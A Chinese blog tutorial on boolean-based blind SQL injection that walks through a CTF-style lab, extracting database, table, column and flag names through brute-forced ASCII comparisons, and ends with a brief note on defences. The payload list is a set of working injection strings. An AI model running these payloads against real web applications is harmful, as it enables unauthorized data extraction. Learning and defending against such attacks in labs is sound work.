【基于布尔的盲注】

一、sql基础

Substr

我们看一下用法1里面的str就是我们需要截取的字符,pos是需要截取的位置,len是我们需要截取的长度,例如右边的substr('123456',1,1)意思就是截取’123456’从第一位开始截取,截取两位,到2为止,用法2里少了一个len,它就会默认从截取的位置开始,一直截取到最后一位:
请添加图片描述

if

我们看到用法里的select if(1>2,1,0);因为1小于2不满足1大于2,于是呢就返回0:
请添加图片描述

Ascii

请添加图片描述

length

下面右边的例子中database()为web,执行后正确返回了web数据库名三个的长度:
请添加图片描述

二、布尔盲注

简介

请添加图片描述

练习

我们来看一下这道题:

请添加图片描述
我们先输入1返回了user:
请添加图片描述
加上单引号看看有没有sql注入,结果什么也没有:
请添加图片描述
我们再输入2,还是显示了user:
请添加图片描述
闭合一下试试,结果还是什么都没有,说明我们的闭合有问题:
请添加图片描述
把单引号删掉,重新出现了use,那么我们之前的union和报错注入都没办法使用了,这时我们就需要用到盲注:请添加图片描述

猜长度

我们先来分析一下盲注的payload:

id=1 and length(database())=3%23

请添加图片描述
我们来测试一下,等于1没有回显:

请添加图片描述
等于3成功回显,说明我们猜对了,并正常输出:

请添加图片描述

猜数据

拿到前面的长度后,我们就可以来猜数据了:

id=1 and if((ascii(substr((select database()),1,1))=118),1,0)%23

请添加图片描述
我们直接来测试,我们第一次猜的118为v,服务器没有返回数据,说明是错的:
请添加图片描述
我们再猜119为w,服务器成功返回数据,那么数据库名的第一个字符就是w:
请添加图片描述
那么当然我们不可能是用手一个一个猜,我们使用爆破模块,使用add给119打上标记:
请添加图片描述

然后选择爆破类似为整数,起始为32到127,因为Ascii码的可见范围就是32~127,步数填1,执行后我们根据length的长度就直接找到了能成功回显的数据包为119:
请添加图片描述
我们接着猜第二位,我们只要把1改成2,就能开始第二位的爆破:
请添加图片描述
成功拿到第二位101,第三位也是同理:
请添加图片描述

猜数据库名
id=1 and if((ascii(substr((select database()),1,1))=118),1,0)%23

猜表名长度
id=1 and if((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())=8,1,0)%23

猜表名
id=1 and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=118),1,0)%23

猜列名长度
id=1 and if((select length(group_concat(column_name)) from information_schema.columns where table_name='flag')=7,1,0)%23

猜列名
id=1 and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,1))=118),1,0)%23

猜数据长度
id=1 and if(((select length(flag) from flag)=38),1,0)%23

猜数据
id=1 and if((ascii(substr((select flag from flag),1,1))=102),1,0)%23

我们接着再猜表名的长度,把等于号后面的数字打上标记:
请添加图片描述
依旧选择数字,因为我们这是猜的表名长度,就选1~10:
请添加图片描述
成功拿到表名长度为9,拿表名、列名、数据都是同理,剩下的就不试了:
请添加图片描述

基于布尔盲注是一种常见的SQL注入攻击技术,可以通过构造特定的SQL查询语句来获取数据库中的敏感信息。在这种攻击中,攻击者通过向受攻击的应用程序中输入恶意的SQL代码来触发漏洞。 在基于布尔盲注中,攻击者利用应用程序返回的不同响应来判断SQL查询结果是否为真或假。攻击者可以通过构造一系列的布尔查询来逐渐推断出数据库中的敏感信息。例如,攻击者可以通过构造以下查询语句来判断数据库中是否存在用户名为“admin”的记录: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND 1=1 ``` 如果应用程序返回的响应为真,那么攻击者可以通过构造以下查询语句来判断密码是否为“password”: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND password = 'password' AND 1=1 ``` 如果应用程序返回的响应为假,那么攻击者可以通过构造以下查询语句来判断密码是否为“password”: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND password <> 'password' AND 1=1 ``` 通过不断尝试构造不同的查询语句,并观察应用程序的响应,攻击者可以最终推断出数据库中的敏感信息。 为了防止基于布尔盲注攻击,应用程序应该对用户输入进行充分的验证和过滤,并使用参数化的SQL查询语句来避免SQL注入攻击。此外,应用程序还应该限制数据库用户的权限,以最小化攻击者获取敏感信息的可能性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值